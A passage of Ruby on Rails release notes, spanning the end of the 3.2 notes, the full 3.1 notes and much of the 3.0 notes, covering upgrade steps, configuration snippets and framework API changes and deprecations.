Logger.tagged("BCX") { Logger.info "Stuff" }
# Logs "[BCX] Stuff"

Logger.tagged("BCX", "Jason") { Logger.info "Stuff" }
# Logs "[BCX] [Jason] Stuff"

Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } }
# Logs "[BCX] [Jason] Stuff"

- The beginning_of_week method in Date, Time and DateTime accepts an optional argument representing the day in which the week is assumed to start.

- ActiveSupport::Notifications.subscribed provides subscriptions to events while a block runs.

- Defined new methods Module#qualified_const_defined?, Module#qualified_const_get and Module#qualified_const_set that are analogous to the corresponding methods in the standard API, but accept qualified constant names.

- Added #deconstantize which complements #demodulize in inflections. This removes the rightmost segment in a qualified constant name.

- Added safe_constantize that constantizes a string but returns nil instead of raising an exception if the constant (or part of it) does not exist.

- ActiveSupport::OrderedHash is now marked as extractable when using Array#extract_options!.

- Added Array#prepend as an alias for Array#unshift and Array#append as an alias for Array#<<.

- The definition of a blank string for Ruby 1.9 has been extended to Unicode whitespace. Also, in Ruby 1.8 the ideographic space U`3000 is considered to be whitespace.

- The inflector understands acronyms.

- Added Time#all_day, Time#all_week, Time#all_quarter and Time#all_year as a way of generating ranges.

Event.where(:created_at => Time.now.all_week)
Event.where(:created_at => Time.now.all_day)

- Added instance_accessor: false as an option to Class#cattr_accessor and friends.

- ActiveSupport::OrderedHash now has different behavior for #each and #each_pair when given a block accepting its parameters with a splat.

- Added ActiveSupport::Cache::NullStore for use in development and testing.

- Removed ActiveSupport::SecureRandom in favor of SecureRandom from the standard library.

11.1 Deprecations

- ActiveSupport::Base64 is deprecated in favor of ::Base64.

- Deprecated ActiveSupport::Memoizable in favor of Ruby memoization pattern.

- Module#synchronize is deprecated with no replacement. Please use monitor from ruby's standard library.

- Deprecated ActiveSupport::MessageEncryptor#encrypt and ActiveSupport::MessageEncryptor#decrypt.

- ActiveSupport::BufferedLogger#silence is deprecated. If you want to squelch logs for a certain block, change the log level for that block.

- ActiveSupport::BufferedLogger#open_log is deprecated. This method should not have been public in the first place.

- ActiveSupport::BufferedLogger's behavior of automatically creating the directory for your log file is deprecated. Please make sure to create the directory for your log file before instantiating.

- ActiveSupport::BufferedLogger#auto_flushing is deprecated. Either set the sync level on the underlying file handle like this. Or tune your filesystem. The FS cache is now what controls flushing.

f = File.open('foo.log', 'w')
f.sync = true
ActiveSupport::BufferedLogger.new f

- ActiveSupport::BufferedLogger#flush is deprecated. Set sync on your filehandle, or tune your filesystem.

12 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Rails 3.2 Release Notes were compiled by Vijay Dev.

Ruby on Rails 3.1 Release Notes — Ruby...

1 Upgrading to Rails 3.1

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes:

1.1 Rails 3.1 requires at least Ruby 1.8.7

Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2.

Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing.

1.2 What to update in your apps

The following changes are meant for upgrading your application to Rails 3.1.3, the latest 3.1.x version of Rails.

1.2.1 Gemfile

Make the following changes to your Gemfile.

gem 'rails', '= 3.1.3'
gem 'mysql2'

# Needed for the new asset pipeline
group :assets do
gem 'sass-rails',   "~> 3.1.5"
gem 'coffee-rails', "~> 3.1.1"
gem 'uglifier',     ">= 1.0.3"
end

# jQuery is the default JavaScript library in Rails 3.1
gem 'jquery-rails'

1.2.2 config/application.rb

- The asset pipeline requires the following additions:

config.assets.enabled = true
config.assets.version = '1.0'

- If your application is using the "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts:

# Defaults to '/assets'
config.assets.prefix = '/asset-files'

1.2.3 config/environments/development.rb

- Remove the RJS setting config.action_view.debug_rjs = true.

- Add the following, if you enable the asset pipeline.

# Do not compress assets
config.assets.compress = false

# Expands the lines which load the assets
config.assets.debug = true

1.2.4 config/environments/production.rb

- Again, most of the changes below are for the asset pipeline. You can read more about these in the Asset Pipeline guide.

# Compress JavaScripts and CSS
config.assets.compress = true

# Don't fallback to assets pipeline if a precompiled asset is missed
config.assets.compile = false

# Generate digests for assets URLs
config.assets.digest = true

# Defaults to Rails.root.join("public/assets")
# config.assets.manifest = YOUR_PATH

# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
# config.assets.precompile `= %w( search.js )

# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true

1.2.5 config/environments/test.rb

# Configure static asset server for tests with Cache-Control for performance
config.serve_static_assets = true
config.static_cache_control = "public, max-age=3600"

1.2.6 config/initializers/wrap_parameters.rb

- Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.

# Be sure to restart your server when you modify this file.
# This file contains settings for ActionController::ParamsWrapper which
# is enabled by default.

# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
ActiveSupport.on_load(:action_controller) do
wrap_parameters :format => [:json]
end

# Disable root element in JSON by default.
ActiveSupport.on_load(:active_record) do
self.include_root_in_json = false
end

1.2.7 Remove :cache and :concat options in asset helpers references in views

- With the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from your views.

2 Creating a Rails 3.1 application

# You should have the 'rails' RubyGem installed
$ rails new myapp
$ cd myapp

2.1 Vendoring Gems

Rails now uses a Gemfile in the application root to determine the gems you require for your application to start. This Gemfile is processed by the Bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: - bundler homepage

2.2 Living on the Edge

Bundler and Gemfile makes freezing your Rails application easy as pie with the new dedicated bundle command. If you want to bundle straight from the Git repository, you can pass the --edge flag:

$ rails new myapp --edge

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the --dev flag:

$ ruby /path/to/rails/railties/bin/rails new myapp --dev

3 Rails Architectural Changes

3.1 Assets Pipeline

The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines.

The assets pipeline is powered by Sprockets and is covered in the Asset Pipeline guide.

3.2 HTTP Streaming

HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of NGINX and Unicorn is ready to take advantage of it.

3.3 Default JS library is now jQuery

jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch.

$ rails new myapp -j prototype

3.4 Identity Map

Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion.

Rails 3.1 comes with the identity map turned off by default.

4 Railties

- jQuery is the new default JavaScript library.

- jQuery and Prototype are no longer vendored and is provided from now on by the jquery-rails and prototype-rails gems.

- The application generator accepts an option -j which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the Gemfile, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline.

- Generating an application or a plugin runs bundle install unless --skip-gemfile or --skip-bundle is specified.

- The controller and resource generators will now automatically produce asset stubs (this can be turned off with --skip-assets). These stubs will use CoffeeScript and Sass, if those libraries are available.

- Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, --old-style-hash can be passed.

- Scaffold controller generator creates format block for JSON instead of XML.

- Active Record logging is directed to STDOUT and shown inline in the console.

- Added config.force_ssl configuration which loads Rack::SSL middleware and force all requests to be under HTTPS protocol.

- Added rails plugin new command which generates a Rails plugin with gemspec, tests and a dummy application for testing.

- Added Rack::Etag and Rack::ConditionalGet to the default middleware stack.

- Added Rack::Cache to the default middleware stack.

- Engines received a major update - You can mount them at any path, enable assets, run generators etc.

5 Action Pack

5.1 Action Controller

- A warning is given out if the CSRF token authenticity cannot be verified.

- Specify force_ssl in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, :only or :except can be used.

- Sensitive query string parameters specified in config.filter_parameters will now be filtered out from the request paths in the log.

- URL parameters which return nil for to_param are now removed from the query string.

- Added ActionController::ParamsWrapper to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in config/initializers/wrap_parameters.rb.

- Added config.action_controller.include_all_helpers. By default helper :all is done in ActionController::Base, which includes all the helpers by default. Setting include_all_helpers to false will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller).

- url_for and named url helpers now accept :subdomain and :domain as options.

- Added Base.http_basic_authenticate_with to do simple http basic authentication with a single class method call.

class PostsController < ApplicationController
USER_NAME, PASSWORD = "dhh", "secret"

before_filter :authenticate, :except => [ :index ]

def index
render :text => "Everyone can see me!"
end

def edit
render :text => "I'm only accessible if you know the password"
end

private
def authenticate
authenticate_or_request_with_http_basic do |user_name, password|
user_name == USER_NAME && password == PASSWORD
end
end
end

..can now be written as

class PostsController < ApplicationController
http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index

def index
render :text => "Everyone can see me!"
end

def edit
render :text => "I'm only accessible if you know the password"
end
end

- Added streaming support, you can enable it with:

class PostsController < ActionController::Base
stream
end

You can restrict it to some actions by using :only or :except. Please read the docs at ActionController::Streaming for more information.

- The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused.

5.2 Action Dispatch

- config.action_dispatch.x_sendfile_header now defaults to nil and config/environments/production.rb doesn't set any particular value for it. This allows servers to set it through X-Sendfile-Type.

- ActionDispatch::MiddlewareStack now uses composition over inheritance and is no longer an array.

- Added ActionDispatch::Request.ignore_accept_header to ignore accept headers.

- Added Rack::Cache to the default stack.

- Moved etag responsibility from ActionDispatch::Response to the middleware stack.

- Rely on Rack::Session stores API for more compatibility across the Ruby world. This is backwards incompatible since Rack::Session expects #get_session to accept four arguments and requires #destroy_session instead of simply #destroy.

- Template lookup now searches further up in the inheritance chain.

5.3 Action View

- Added an :authenticity_token option to form_tag for custom handling or to omit the token by passing :authenticity_token => false.

- Created ActionView::Renderer and specified an API for ActionView::Context.

- In place SafeBuffer mutation is prohibited in Rails 3.1.

- Added HTML5 button_tag helper.

- file_field automatically adds :multipart => true to the enclosing form.

- Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a :data hash of options:

tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)})
# => <div data-name="Stephen" data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]" />

Keys are dasherized. Values are JSON-encoded, except for strings and symbols.

- csrf_meta_tag is renamed to csrf_meta_tags and aliases csrf_meta_tag for backwards compatibility.

- The old template handler API is deprecated and the new API simply requires a template handler to respond to call.

- rhtml and rxml are finally removed as template handlers.

- config.action_view.cache_template_loading is brought back which allows to decide whether templates should be cached or not.

- The submit form helper does not generate an id "object_name_id" anymore.

- Allows FormHelper#form_for to specify the :method as a direct option instead of through the :html hash. form_for(@post, remote: true, method: :delete) instead of form_for(@post, remote: true, html: { method: :delete }).

- Provided JavaScriptHelper#j() as an alias for JavaScriptHelper#escape_javascript(). This supersedes the Object#j() method that the JSON gem adds within templates using the JavaScriptHelper.

- Allows AM/PM format in datetime selectors.

- auto_link has been removed from Rails and extracted into the rails_autolink gem

6 Active Record

- Added a class method pluralize_table_names to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through ActiveRecord::Base.pluralize_table_names.

class User < ActiveRecord::Base
self.pluralize_table_names = false
end

- Added block setting of attributes to singular associations. The block will get called after the instance is initialized.

class User < ActiveRecord::Base
has_one :account
end

user.build_account{ |a| a.credit_limit = 100.0 }

- Added ActiveRecord::Base.attribute_names to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist.

- CSV Fixtures are deprecated and support will be removed in Rails 3.2.0.

- ActiveRecord#new, ActiveRecord#create and ActiveRecord#update_attributes all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities:

class Post < ActiveRecord::Base
attr_accessible :title
attr_accessible :title, :published_at, :as => :admin
end

Post.new(params[:post], :as => :admin)

- default_scope can now take a block, lambda, or any other object which responds to call for lazy evaluation.

- Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped.

- PostgreSQL adapter only supports PostgreSQL version 8.2 and higher.

- ConnectionManagement middleware is changed to clean up the connection pool after the rack body has been flushed.

- Added an update_column method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use update_attributes or update_attribute unless you are sure you do not want to execute any callback, including the modification of the updated_at column. It should not be called on new records.

- Associations with a :through option can now use any association as the through or source association, including other associations which have a :through option and has_and_belongs_to_many associations.

- The configuration for the current database connection is now accessible via ActiveRecord::Base.connection_config.

- limits and offsets are removed from COUNT queries unless both are supplied.

People.limit(1).count           # => 'SELECT COUNT(*) FROM people'
People.offset(1).count          # => 'SELECT COUNT(*) FROM people'
People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1'

- ActiveRecord::Associations::AssociationProxy has been split. There is now an Association class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called CollectionProxy, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings.

- Singular associations (has_one, belongs_to) no longer have a proxy and simply returns the associated record or nil. This means that you should not use undocumented methods such as bob.mother.create - use bob.create_mother instead.

- Support the :dependent option on has_many :through associations. For historical and practical reasons, :delete_all is the default deletion strategy employed by association.delete(*records), despite the fact that the default strategy is :nullify for regular has_many. Also, this only works at all if the source reflection is a belongs_to. For other situations, you should directly modify the through association.

- The behavior of association.destroy for has_and_belongs_to_many and has_many :through is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'.

- Previously, has_and_belongs_to_many.destroy(*records) would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table.

- Previously, has_many_through.destroy(*records) would destroy the records themselves, and the records in the join table. [Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table.

- Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do records.association.each(&:destroy).

- Add :bulk => true option to change_table to make all the schema changes defined in a block using a single ALTER statement.

change_table(:users, :bulk => true) do |t|
t.string :company_name
t.change :birthdate, :datetime
end

- Removed support for accessing attributes on a has_and_belongs_to_many join table. has_many :through needs to be used.

- Added a create_association! method for has_one and belongs_to associations.

- Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the change method.

class MyMigration < ActiveRecord::Migration
def change
create_table(:horses) do |t|
t.column :content, :text
t.column :remind_at, :datetime
end
end
end

- Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define up and down in your migration. If you define something in change that cannot be reversed, an IrreversibleMigration exception will be raised when going down.

- Migrations now use instance methods rather than class methods:

class FooMigration < ActiveRecord::Migration
def up # Not self.up
...
end
end

- Migration files generated from model and constructive migration generators (for example, add_name_to_users) use the reversible migration's change method instead of the ordinary up and down methods.

- Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used.

has_many :things, :conditions => 'foo = #{bar}'          # before
has_many :things, :conditions => proc { "foo = #{bar}" } # after

Inside the proc, self is the object which is the owner of the association, unless you are eager loading the association, in which case self is the class which the association is within. You can have any "normal" conditions inside the proc, so the following will work too:

has_many :things, :conditions => proc { ["foo = ?", bar] }

- Previously :insert_sql and :delete_sql on has_and_belongs_to_many association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc.

- Added ActiveRecord::Base#has_secure_password (via ActiveModel::SecurePassword) to encapsulate dead-simple password usage with BCrypt encryption and salting.

# Schema: User(name:string, password_digest:string, password_salt:string)
class User < ActiveRecord::Base
has_secure_password
end

- When a model is generated add_index is added by default for belongs_to or references columns.

- Setting the id of a belongs_to object will update the reference to the object.

- ActiveRecord::Base#dup and ActiveRecord::Base#clone semantics have changed to closer match normal Ruby dup and clone semantics.

- Calling ActiveRecord::Base#clone will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called.

- Calling ActiveRecord::Base#dup will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return true for new_record?, have a nil id field, and is saveable.

- The query cache now works with prepared statements. No changes in the applications are required.

7 Active Model

- attr_accessible accepts an option :as to specify a role.

- InclusionValidator, ExclusionValidator, and FormatValidator now accepts an option which can be a proc, a lambda, or anything that respond to call. This option will be called with the current record as an argument and returns an object which respond to include? for InclusionValidator and ExclusionValidator, and returns a regular expression object for FormatValidator.

- Added ActiveModel::SecurePassword to encapsulate dead-simple password usage with BCrypt encryption and salting.

- ActiveModel::AttributeMethods allows attributes to be defined on demand.

- Added support for selectively enabling and disabling observers.

- Alternate I18n namespace lookup is no longer supported.

8 Active Resource

- The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set self.format = :xml in the class. For example,

class User < ActiveResource::Base
self.format = :xml
end

9 Active Support

- ActiveSupport::Dependencies now raises NameError if it finds an existing constant in load_missing_constant.

- Added a new reporting method Kernel#quietly which silences both STDOUT and STDERR.

- Added String#inquiry as a convenience method for turning a String into a StringInquirer object.

- Added Object#in? to test if an object is included in another object.

- LocalCache strategy is now a real middleware class and no longer an anonymous class.

- ActiveSupport::Dependencies::ClassCache class has been introduced for holding references to reloadable classes.

- ActiveSupport::Dependencies::Reference has been refactored to take direct advantage of the new ClassCache.

- Backports Range#cover? as an alias for Range#include? in Ruby 1.8.

- Added weeks_ago and prev_week to Date/DateTime/Time.

- Added before_remove_const callback to ActiveSupport::Dependencies.remove_unloadable_constants!.

Deprecations:

- ActiveSupport::SecureRandom is deprecated in favor of SecureRandom from the Ruby standard library.

10 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Rails 3.1 Release Notes were compiled by Vijay Dev

Ruby on Rails 3.0 Release Notes — Ruby...

1 Upgrading to Rails 3

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 2.3.5 and make sure your application still runs as expected before attempting to update to Rails 3. Then take heed of the following changes:

1.1 Rails 3 requires at least Ruby 1.8.7

Rails 3.0 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.0 is also compatible with Ruby 1.9.2.

Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing.

1.2 Rails Application object

As part of the groundwork for supporting running multiple Rails applications in the same process, Rails 3 introduces the concept of an Application object. An application object holds all the application specific configurations and is very similar in nature to config/environment.rb from the previous versions of Rails.

Each Rails application now must have a corresponding application object. The application object is defined in config/application.rb. If you're upgrading an existing application to Rails 3, you must add this file and move the appropriate configurations from config/environment.rb to config/application.rb.

1.3 script/* replaced by script/rails

The new script/rails replaces all the scripts that used to be in the script directory. You do not run script/rails directly though, the rails command detects it is being invoked in the root of a Rails application and runs the script for you. Intended usage is:

$ rails console                      # instead of script/console
$ rails g scaffold post title:string # instead of script/generate scaffold post title:string

Run rails --help for a list of all the options.

1.4 Dependencies and config.gem

The config.gem method is gone and has been replaced by using bundler and a Gemfile, see Vendoring Gems below.

1.5 Upgrade Process

To help with the upgrade process, a plugin named Rails Upgrade has been created to automate part of it.

Simply install the plugin, then run rake rails:upgrade:check to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a Gemfile based on your current config.gem calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following:

$ ruby script/plugin install git://github.com/rails/rails_upgrade.git

You can see an example of how that works at Rails Upgrade is now an Official Plugin

Aside from Rails Upgrade tool, if you need more help, there are people on IRC and rubyonrails-talk that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge!

2 Creating a Rails 3.0 application

# You should have the 'rails' RubyGem installed
$ rails new myapp
$ cd myapp

2.1 Vendoring Gems

Rails now uses a Gemfile in the application root to determine the gems you require for your application to start. This Gemfile is processed by the Bundler which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: - bundler homepage

2.2 Living on the Edge

Bundler and Gemfile makes freezing your Rails application easy as pie with the new dedicated bundle command, so rake freeze is no longer relevant and has been dropped.

If you want to bundle straight from the Git repository, you can pass the --edge flag:

$ rails new myapp --edge

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the --dev flag:

$ ruby /path/to/rails/bin/rails new myapp --dev

3 Rails Architectural Changes

There are six major changes in the architecture of Rails.

3.1 Railties Restrung

Railties was updated to provide a consistent plugin API for the entire Rails framework as well as a total rewrite of generators and the Rails bindings, the result is that developers can now hook into any significant stage of the generators and application framework in a consistent, defined manner.

3.2 All Rails core components are decoupled

With the merge of Merb and Rails, one of the big jobs was to remove the tight coupling between Rails core components. This has now been achieved, and all Rails core components are now using the same API that you can use for developing plugins. This means any plugin you make, or any core component replacement (like DataMapper or Sequel) can access all the functionality that the Rails core components have access to and extend and enhance at will.

More information: - The Great Decoupling

3.3 Active Model Abstraction

Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.

More information: - Make Any Ruby Object Feel Like ActiveRecord

3.4 Controller Abstraction

Another big part of decoupling the core components was creating a base superclass that is separated from the notions of HTTP in order to handle rendering of views etc. This creation of AbstractController allowed ActionController and ActionMailer to be greatly simplified with common code removed from all these libraries and put into Abstract Controller.

More Information: - Rails Edge Architecture

3.5 Arel Integration

Arel (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record.

More information: - Why I wrote Arel

3.6 Mail Extraction

Action Mailer ever since its beginnings has had monkey patches, pre parsers and even delivery and receiver agents, all in addition to having TMail vendored in the source tree. Version 3 changes that with all email message related functionality abstracted out to the Mail gem. This again reduces code duplication and helps create definable boundaries between Action Mailer and the email parser.

More information: - New Action Mailer API in Rails 3

4 Documentation

The documentation in the Rails tree is being updated with all the API changes, additionally, the Rails Edge Guides are being updated one by one to reflect the changes in Rails 3.0. The guides at guides.rubyonrails.org however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released).

More Information: - Rails Documentation Projects

5 Internationalization

A large amount of work has been done with I18n support in Rails 3, including the latest I18n gem supplying many speed improvements.

- I18n for any object - I18n behavior can be added to any object by including ActiveModel::Translation and ActiveModel::Validations. There is also an errors.messages fallback for translations.

- Attributes can have default translations.

- Form Submit Tags automatically pull the correct status (Create or Update) depending on the object status, and so pull the correct translation.

- Labels with I18n also now work by just passing the attribute name.

More Information: - Rails 3 I18n changes

6 Railties

With the decoupling of the main Rails frameworks, Railties got a huge overhaul so as to make linking up frameworks, engines or plugins as painless and extensible as possible:

- Each application now has its own name space, application is started with YourAppName.boot for example, makes interacting with other applications a lot easier.

- Anything under Rails.root/app is now added to the load path, so you can make app/observers/user_observer.rb and Rails will load it without any modifications.

- Rails 3.0 now provides a Rails.config object, which provides a central repository of all sorts of Rails wide configuration options. Application generation has received extra flags allowing you to skip the installation of test-unit, Active Record, Prototype and Git. Also a new --dev flag has been added which sets the application up with the Gemfile pointing to your Rails checkout (which is determined by the path to the rails binary). See rails --help for more info.

Railties generators got a huge amount of attention in Rails 3.0, basically:

- Generators were completely rewritten and are backwards incompatible.

- Rails templates API and generators API were merged (they are the same as the former).

- Generators are no longer loaded from special paths anymore, they are just found in the Ruby load path, so calling rails generate foo will look for generators/foo_generator.

- New generators provide hooks, so any template engine, ORM, test framework can easily hook in.

- New generators allow you to override the templates by placing a copy at Rails.root/lib/templates.

- Rails::Generators::TestCase is also supplied so you can create your own generators and test them.

Also, the views generated by Railties generators had some overhaul:

- Views now use div tags instead of p tags.

- Scaffolds generated now make use of _form partials, instead of duplicated code in the edit and new views.

- Scaffold forms now use f.submit which returns "Create ModelName" or "Update ModelName" depending on the state of the object passed in.

Finally a couple of enhancements were added to the rake tasks:

- rake db:forward was added, allowing you to roll forward your migrations individually or in groups.

- rake routes CONTROLLER=x was added allowing you to just view the routes for one controller.

Railties now deprecates:

- RAILS_ROOT in favor of Rails.root,

- RAILS_ENV in favor of Rails.env, and

- RAILS_DEFAULT_LOGGER in favor of Rails.logger.

PLUGIN/rails/tasks, and PLUGIN/tasks are no longer loaded all tasks now must be in PLUGIN/lib/tasks.

More information:

- Discovering Rails 3 generators

- The Rails Module (in Rails 3)

7 Action Pack

There have been significant internal and external changes in Action Pack.

7.1 Abstract Controller

Abstract Controller pulls out the generic parts of Action Controller into a reusable module that any library can use to render templates, render partials, helpers, translations, logging, any part of the request response cycle. This abstraction allowed ActionMailer::Base to now just inherit from AbstractController and just wrap the Rails DSL onto the Mail gem.

It also provided an opportunity to clean up Action Controller, abstracting out what could to simplify the code.

Note however that Abstract Controller is not a user facing API, you will not run into it in your day to day use of Rails.

More Information: - Rails Edge Architecture

7.2 Action Controller

- application_controller.rb now has protect_from_forgery on by default.

- The cookie_verifier_secret has been deprecated and now instead it is assigned through Rails.application.config.cookie_secret and moved into its own file: config/initializers/cookie_verification_secret.rb.

- The session_store was configured in ActionController::Base.session, and that is now moved to Rails.application.config.session_store. Defaults are set up in config/initializers/session_store.rb.

- cookies.secure allowing you to set encrypted values in cookies with cookie.secure[:key] => value.

- cookies.permanent allowing you to set permanent values in the cookie hash cookie.permanent[:key] => value that raise exceptions on signed values if verification failures.

- You can now pass :notice => 'This is a flash message' or :alert => 'Something went wrong' to the format call inside a respond_to block. The flash[] hash still works as previously.

- respond_with method has now been added to your controllers simplifying the venerable format blocks.

- ActionController::Responder added allowing you flexibility in how your responses get generated.

Deprecations:

- filter_parameter_logging is deprecated in favor of config.filter_parameters << :password.

More Information:

- Render Options in Rails 3

- Three reasons to love ActionController::Responder

7.3 Action Dispatch

Action Dispatch is new in Rails 3.0 and provides a new, cleaner implementation for routing.

- Big clean up and re-write of the router, the Rails router is now rack_mount with a Rails DSL on top, it is a stand alone piece of software.

- Routes defined by each application are now name spaced within your Application module, that is:

# Instead of:

ActionController::Routing::Routes.draw do |map|
map.resources :posts
end

# You do:

AppName::Application.routes do
resources :posts
end

- Added match method to the router, you can also pass any Rack application to the matched route.

- Added constraints method to the router, allowing you to guard routers with defined constraints.

- Added scope method to the router, allowing you to namespace routes for different languages or different actions, for example:

scope 'es' do
resources :projects, :path_names => { :edit => 'cambiar' }, :path => 'proyecto'
end

# Gives you the edit action with /es/proyecto/1/cambiar

- Added root method to the router as a short cut for match '/', :to => path.

- You can pass optional segments into the match, for example match "/:controller(/:action(/:id))(.:format)", each parenthesized segment is optional.

- Routes can be expressed via blocks, for example you can call controller :home { match '/:action' }.

The old style map commands still work as before with a backwards compatibility layer, however this will be removed in the 3.1 release.

Deprecations

- The catch all route for non-REST applications (/:controller/:action/:id) is now commented out.

- Routes :path_prefix no longer exists and :name_prefix now automatically adds "_" at the end of the given value.

More Information: * The Rails 3 Router: Rack it Up * Revamped Routes in Rails 3 * Generic Actions in Rails 3

7.4 Action View

7.4.1 Unobtrusive JavaScript

Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers.

What this means is that all previous remote_<method> helpers have been removed from Rails core and put into the Prototype Legacy Helper. To get UJS hooks into your HTML, you now pass :remote => true instead. For example:

form_for @post, :remote => true

Produces:

<form action="http://host.com" id="create-post" method="post" data-remote="true">

7.4.2 Helpers with Blocks

Helpers like form_for or div_for that insert content from a block use <%= now:

<%= form_for @post do |f| %>
...
<% end %>

Your own helpers of that kind are expected to return a string, rather than appending to the output buffer by hand.

Helpers that do something else, like cache or content_for, are not affected by this change, they need &lt;% as before.

7.4.3 Other Changes

- You no longer need to call h(string) to escape HTML output, it is on by default in all view templates. If you want the unescaped string, call raw(string).

- Helpers now output HTML 5 by default.

- Form label helper now pulls values from I18n with a single value, so f.label :name will pull the :name translation.

- I18n select label on should now be :en.helpers.select instead of :en.support.select.

- You no longer need to place a minus sign at the end of a Ruby interpolation inside an ERB template to remove the trailing carriage return in the HTML output.

- Added grouped_collection_select helper to Action View.

- content_for? has been added allowing you to check for the existence of content in a view before rendering.

- passing :value => nil to form helpers will set the field's value attribute to nil as opposed to using the default value

- passing :id => nil to form helpers will cause those fields to be rendered with no id attribute

- passing :alt => nil to image_tag will cause the img tag to render with no alt attribute

8 Active Model

Active Model is new in Rails 3.0. It provides an abstraction layer for any ORM libraries to use to interact with Rails by implementing an Active Model interface.

8.1 ORM Abstraction and Action Pack Interface

Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.

More Information: - Make Any Ruby Object Feel Like ActiveRecord

8.2 Validations

Validations have been moved from Active Record into Active Model, providing an interface to validations that works across ORM libraries in Rails 3.

- There is now a validates :attribute, options_hash shortcut method that allows you to pass options for all the validates class methods, you can pass more than one option to a validate method.

- The validates method has the following options:

- :acceptance => Boolean.

- :confirmation => Boolean.

- :exclusion => { :in => Enumerable }.

- :inclusion => { :in => Enumerable }.

